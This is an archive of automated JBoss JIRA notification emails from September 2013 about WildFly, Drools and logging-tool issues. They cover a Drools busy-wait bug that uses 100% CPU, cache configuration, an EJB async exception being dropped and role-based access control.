Date: Wed, 25 Sep 2013 14:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2158) Definition of JNDI EE default
	resources
In-Reply-To: <JIRA.12501544.1380134427888@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501544.1380134427888@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501544.1380134427888.911.1380134522504@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2158:
-------------------------------------

             Summary: Definition of JNDI EE default resources
                 Key: WFLY-2158
                 URL: https://issues.jboss.org/browse/WFLY-2158
             Project: WildFly
          Issue Type: Feature Request
          Components: EE, Naming
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 14:44:02 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Wed, 25 Sep 2013 14:44:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2158) Definition of JNDI EE default
	resources
In-Reply-To: <JIRA.12501544.1380134427000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501544.1380134427000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501544.1380134427000.913.1380134642519@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2158?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Eduardo Martins updated WFLY-2158:
----------------------------------

    Description: 
This issue is about having common functionality to define the default EE resources on JNDI, such as the java:comp/DefaultDatasource or java:comp/DefaultManagedExecutorService. Possible solutions include using a single subsystem configuration on EE or Naming subsystems, the latter enhancing the "lookup" binding management op to define bindings on every instance of java:comp.



    
> Definition of JNDI EE default resources
> ---------------------------------------
>
>                 Key: WFLY-2158
>                 URL: https://issues.jboss.org/browse/WFLY-2158
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE, Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>
> This issue is about having common functionality to define the default EE resources on JNDI, such as the java:comp/DefaultDatasource or java:comp/DefaultManagedExecutorService. Possible solutions include using a single subsystem configuration on EE or Naming subsystems, the latter enhancing the "lookup" binding management op to define bindings on every instance of java:comp.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 15:38:02 2013
From: jira-events at lists.jboss.org (Edson Tirelli (JIRA))
Date: Wed, 25 Sep 2013 15:38:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.952.1380137882658@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807443#comment-12807443 ] 

Edson Tirelli commented on DROOLS-272:
--------------------------------------

The current fireUntilHalt() implementation is using a busy wait loop, what is not acceptable. We need to replace the busy wait. 

We can add a wait/notify cycle in the PathMemory.doLinkRule().
                
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 15:48:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 15:48:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.960.1380138482728@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807444#comment-12807444 ] 

RH Bugzilla Integration commented on DROOLS-272:
------------------------------------------------

Richard Bourner <rbourner at redhat.com> made a comment on [bug 1012140|https://bugzilla.redhat.com/show_bug.cgi?id=1012140]

Description of problem:
When we run a KieSession.fireUntilHalt(), our application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.

Version-Release number of selected component (if applicable):
Drools 6.0.0.CR3
Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40
RHEL 6.4 + OpenJDK 1.7.0_25
Fedora 18 + Java 6.

How reproducible:
A small test demonstrating the problem has been created. 
The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. 
After launching the thread, we let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. 
We then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal.

Steps to Reproduce:
1. run 'mvn clean test' on the project
2. monitor the CPU load on your system

Actual results:


Expected results:


Additional info:
This case is the same as the following: https://issues.jboss.org/browse/DROOLS-272
                
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 15:48:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 15:48:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.966.1380138482950@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated DROOLS-272:
-------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1012140

    
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 15:55:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 15:55:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-272) KieSession.fireUntilHalt()
 consumes 100% CPU
In-Reply-To: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501361.1380017684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501361.1380017684000.977.1380138902882@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-272?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807447#comment-12807447 ] 

RH Bugzilla Integration commented on DROOLS-272:
------------------------------------------------

Edson Tirelli <etirelli at redhat.com> made a comment on [bug 1012140|https://bugzilla.redhat.com/show_bug.cgi?id=1012140]

The current fireUntilHalt() implementation is using a busy wait loop. We need to replace it by a wait/notify in the PathMemory.doLinkRule().
                
> KieSession.fireUntilHalt() consumes 100% CPU
> --------------------------------------------
>
>                 Key: DROOLS-272
>                 URL: https://issues.jboss.org/browse/DROOLS-272
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 1.8.5 + Hotspot JDK 1.7.0_40, RHEL 6.4 + OpenJDK 1.7.0_25, Fedora 18 + Java 6.
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> When I run a KieSession.fireUntilHalt(), my application starts consuming 100% CPU, without anything actually happening inside the app (no events/facts are being inserted, no rules are activated/fired, etc.). We've tested this on multiple machines, different OSs, different JDKs, etc., and they all show the same behaviour.
> I've created a small test that shows the problem. The test loads a simple DRL via KieClasspathContainer, retrieves a new KieSession and runs a KieSession.fireUntilHalt() in a separate thread. After launching the thread, I let the main thread sleep for 30 seconds (3 * 10) and during this time period, CPU load increases to 100%. I then halt the session and sleep for another 10 seconds, which causes the CPU load to back to normal. The test project can be found here: https://github.com/DuncanDoyle/DroolsFireUntilHalt/
> Just run 'mvn clean test' on the project.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 16:13:02 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Wed, 25 Sep 2013 16:13:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2159) Consolidate REPL and DIST
 cache configurations
In-Reply-To: <JIRA.12501554.1380139905083@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501554.1380139905083@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501554.1380139905083.984.1380139982542@jira02.app.mwc.hst.phx2.redhat.com>

Paul Ferraro created WFLY-2159:
----------------------------------

             Summary: Consolidate REPL and DIST cache configurations
                 Key: WFLY-2159
                 URL: https://issues.jboss.org/browse/WFLY-2159
             Project: WildFly
          Issue Type: Enhancement
          Components: Clustering
    Affects Versions: 8.0.0.Alpha4
            Reporter: Paul Ferraro
            Assignee: Paul Ferraro
             Fix For: 8.0.0.Beta1


Since Infinispan now implements REPL as a special case of DIST, we can use DIST as default cache mode for our clustered caches, with owners="4" (or similar).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 16:17:02 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Wed, 25 Sep 2013 16:17:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2159) Consolidate REPL and DIST
 cache configurations
In-Reply-To: <JIRA.12501554.1380139905000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501554.1380139905000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501554.1380139905000.987.1380140222581@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2159?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Paul Ferraro updated WFLY-2159:
-------------------------------

    Description: Since Infinispan now implements REPL as a special case of DIST (i.e. where owners == cache view size), we can use DIST as default cache mode for our clustered caches, with owners="4" (or similar).  (was: Since Infinispan now implements REPL as a special case of DIST, we can use DIST as default cache mode for our clustered caches, with owners="4" (or similar).)

    
> Consolidate REPL and DIST cache configurations
> ----------------------------------------------
>
>                 Key: WFLY-2159
>                 URL: https://issues.jboss.org/browse/WFLY-2159
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Paul Ferraro
>            Assignee: Paul Ferraro
>             Fix For: 8.0.0.Beta1
>
>
> Since Infinispan now implements REPL as a special case of DIST (i.e. where owners == cache view size), we can use DIST as default cache mode for our clustered caches, with owners="4" (or similar).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 17:19:02 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 25 Sep 2013 17:19:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGTOOL-76) JBoss Logging Processor
 should support WSDLException
In-Reply-To: <JIRA.12501542.1380131461000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501542.1380131461000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501542.1380131461000.1093.1380143942682@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/LOGTOOL-76?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd moved JBLOGGING-96 to LOGTOOL-76:
---------------------------------------------

              Project: Log Tool  (was: JBoss Logging)
                  Key: LOGTOOL-76  (was: JBLOGGING-96)
    Affects Version/s:     (was: 3.1.2.GA)
          Component/s:     (was: jboss-logging-spi)

    
> JBoss Logging Processor should support WSDLException
> ----------------------------------------------------
>
>                 Key: LOGTOOL-76
>                 URL: https://issues.jboss.org/browse/LOGTOOL-76
>             Project: Log Tool
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Tom Cunningham
>            Assignee: David Lloyd
>
> This is a jboss-logging-processor issue - javax.wsdl.WSDLException has constructors :
> public WSDLException(java.lang.String faultCode,
>                      java.lang.String msg,
>                      java.lang.Throwable t)
> public WSDLException(java.lang.String faultCode,
>                      java.lang.String msg)
> When I try to localize with this :
>     /**
>      * couldNotFindServiceInTheWSDL method definition.
>      * @param portName the portName
>      * @param definitionDocumentBaseURI definitionDocumentBaseURI
>      * @return WSDLException
>      */
>     @Message(id = 35436, value = "Could not find service %s in the WSDL %s")
>     WSDLException couldNotFindServiceInTheWSDL(String portName, String definitionDocumentBaseURI);
> I see compilation errors because jboss-logging-processor doesn't know how to support the WSDLException constructors.    We should support them.
> Failure:
> [ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[189,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.
> [ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[197,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.
> [ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[206,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 17:21:02 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Wed, 25 Sep 2013 17:21:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGTOOL-76) JBoss Logging Processor
 should support WSDLException
In-Reply-To: <JIRA.12501542.1380131461000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501542.1380131461000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501542.1380131461000.1096.1380144062555@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/LOGTOOL-76?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated LOGTOOL-76:
-------------------------------


I think this is already supported.  However because WSDLException requires a fault code, you'd have to pass it in.  You can use {{@Param}} annotation on a String method parameter for the fault code and it *should* automatically match it to the first method parameter, though I'm not sure it can deal with the ambiguity between the message string - it's worth a try.
                
> JBoss Logging Processor should support WSDLException
> ----------------------------------------------------
>
>                 Key: LOGTOOL-76
>                 URL: https://issues.jboss.org/browse/LOGTOOL-76
>             Project: Log Tool
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Tom Cunningham
>            Assignee: David Lloyd
>
> This is a jboss-logging-processor issue - javax.wsdl.WSDLException has constructors :
> public WSDLException(java.lang.String faultCode,
>                      java.lang.String msg,
>                      java.lang.Throwable t)
> public WSDLException(java.lang.String faultCode,
>                      java.lang.String msg)
> When I try to localize with this :
>     /**
>      * couldNotFindServiceInTheWSDL method definition.
>      * @param portName the portName
>      * @param definitionDocumentBaseURI definitionDocumentBaseURI
>      * @return WSDLException
>      */
>     @Message(id = 35436, value = "Could not find service %s in the WSDL %s")
>     WSDLException couldNotFindServiceInTheWSDL(String portName, String definitionDocumentBaseURI);
> I see compilation errors because jboss-logging-processor doesn't know how to support the WSDLException constructors.    We should support them.
> Failure:
> [ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[189,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.
> [ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[197,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.
> [ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[206,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 18:44:02 2013
From: jira-events at lists.jboss.org (Steven Rose (JIRA))
Date: Wed, 25 Sep 2013 18:44:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2160) Allow Expression for
 datasource subsystem enabled property
In-Reply-To: <JIRA.12501556.1380149025682@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501556.1380149025682@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501556.1380149025682.1191.1380149042532@jira02.app.mwc.hst.phx2.redhat.com>

Steven Rose created WFLY-2160:
---------------------------------

             Summary: Allow Expression for datasource subsystem enabled property
                 Key: WFLY-2160
                 URL: https://issues.jboss.org/browse/WFLY-2160
             Project: WildFly
          Issue Type: Bug
    Affects Versions: 8.0.0.Alpha4
            Reporter: Steven Rose
            Priority: Minor


Currently the datasource sub system does not allow expressions. I would like to be able to do this: <datasource jta="true" jndi-name="java:/ds1DS" pool-name="ds1DS" enabled="${ds1.enabled}" use-java-context="true" use-ccm="true"> and set the ds1.enabled property via a properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 18:46:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 25 Sep 2013 18:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2160) Allow Expression for
 datasource subsystem enabled property
In-Reply-To: <JIRA.12501556.1380149025000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501556.1380149025000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501556.1380149025000.1194.1380149163001@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2160?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar reassigned WFLY-2160:
---------------------------------

    Assignee: Tomaz Cerar

    
> Allow Expression for datasource subsystem enabled property
> ----------------------------------------------------------
>
>                 Key: WFLY-2160
>                 URL: https://issues.jboss.org/browse/WFLY-2160
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Tomaz Cerar
>            Priority: Minor
>              Labels: wildfly
>
> Currently the datasource sub system does not allow expressions. I would like to be able to do this: <datasource jta="true" jndi-name="java:/ds1DS" pool-name="ds1DS" enabled="${ds1.enabled}" use-java-context="true" use-ccm="true"> and set the ds1.enabled property via a properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 18:46:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 25 Sep 2013 18:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2160) Allow Expression for
 datasource subsystem enabled property
In-Reply-To: <JIRA.12501556.1380149025000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501556.1380149025000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501556.1380149025000.1198.1380149163340@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2160?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2160:
------------------------------

    Component/s: Domain Management
                 JCA

    
> Allow Expression for datasource subsystem enabled property
> ----------------------------------------------------------
>
>                 Key: WFLY-2160
>                 URL: https://issues.jboss.org/browse/WFLY-2160
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, JCA
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Tomaz Cerar
>            Priority: Minor
>              Labels: wildfly
>
> Currently the datasource sub system does not allow expressions. I would like to be able to do this: <datasource jta="true" jndi-name="java:/ds1DS" pool-name="ds1DS" enabled="${ds1.enabled}" use-java-context="true" use-ccm="true"> and set the ds1.enabled property via a properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 18:57:02 2013
From: jira-events at lists.jboss.org (James Livingston (JIRA))
Date: Wed, 25 Sep 2013 18:57:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2161) JBAS014356 exception not
 thrown for @Asyncronous EJB methods
In-Reply-To: <JIRA.12501557.1380149806941@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501557.1380149806941@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501557.1380149806941.1202.1380149822521@jira02.app.mwc.hst.phx2.redhat.com>

James Livingston created WFLY-2161:
--------------------------------------

             Summary: JBAS014356 exception not thrown for @Asyncronous EJB methods
                 Key: WFLY-2161
                 URL: https://issues.jboss.org/browse/WFLY-2161
             Project: WildFly
          Issue Type: Bug
          Components: EJB
    Affects Versions: 8.0.0.Alpha4
            Reporter: James Livingston
            Assignee: jaikiran pai


If you call an ejb method with default visibility (e.g. from a servlet in the same package), an EJBException with code JBAS014356 is thrown because the method is not public.

If the method is annotated with @Asynchronous and returns void, the exception is not seen because the interceptor from AsyncFutureInterceptorFactory is used before NotBusinessMethodInterceptor, the exception is thrown in the worker thread instead.

With a void return, the exception is silently dropped. With a Future<?> return, it will be set as the failure exception on the future rather than being thrown from the call.


As per the forum reference we need to check the spec, but the validity of the business method should probably be checked before the handoff to the worker thread.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 20:53:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 25 Sep 2013 20:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-490) Domain Management Role Based
	Access Control
In-Reply-To: <JIRA.12444306.1313084297000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444306.1313084297000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444306.1313084297000.1249.1380156783375@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-490?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-490:
----------------------------------

    Fix Version/s:     (was: 8.0.0.CR1)

    
> Domain Management Role Based Access Control
> -------------------------------------------
>
>                 Key: WFLY-490
>                 URL: https://issues.jboss.org/browse/WFLY-490
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: Authorization
>
> Implement some coarse permissions for domain operations.  Possibly allowing a break down for subsystem, profile, server, server-group - maybe read - write - execute. 
> Also consider confidentiality in exchange e.g. Can read metrics over http but must use https to add new server.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 20:55:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 25 Sep 2013 20:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-490) Domain Management Role Based
	Access Control
In-Reply-To: <JIRA.12444306.1313084297000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444306.1313084297000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444306.1313084297000.1263.1380156903274@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-490?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-490:
----------------------------------

    Fix Version/s: 8.0.0.CR1

    
> Domain Management Role Based Access Control
> -------------------------------------------
>
>                 Key: WFLY-490
>                 URL: https://issues.jboss.org/browse/WFLY-490
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: Authorization
>             Fix For: 8.0.0.CR1
>
>
> Implement some coarse permissions for domain operations.  Possibly allowing a break down for subsystem, profile, server, server-group - maybe read - write - execute. 
> Also consider confidentiality in exchange e.g. Can read metrics over http but must use https to add new server.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 20:55:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Wed, 25 Sep 2013 20:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2139) ProxyStepHandler/Controller
 need to check access before attempting to read information
In-Reply-To: <JIRA.12501339.1379968181000@jira02.app.mwc.hst.phx2.redhat.com>
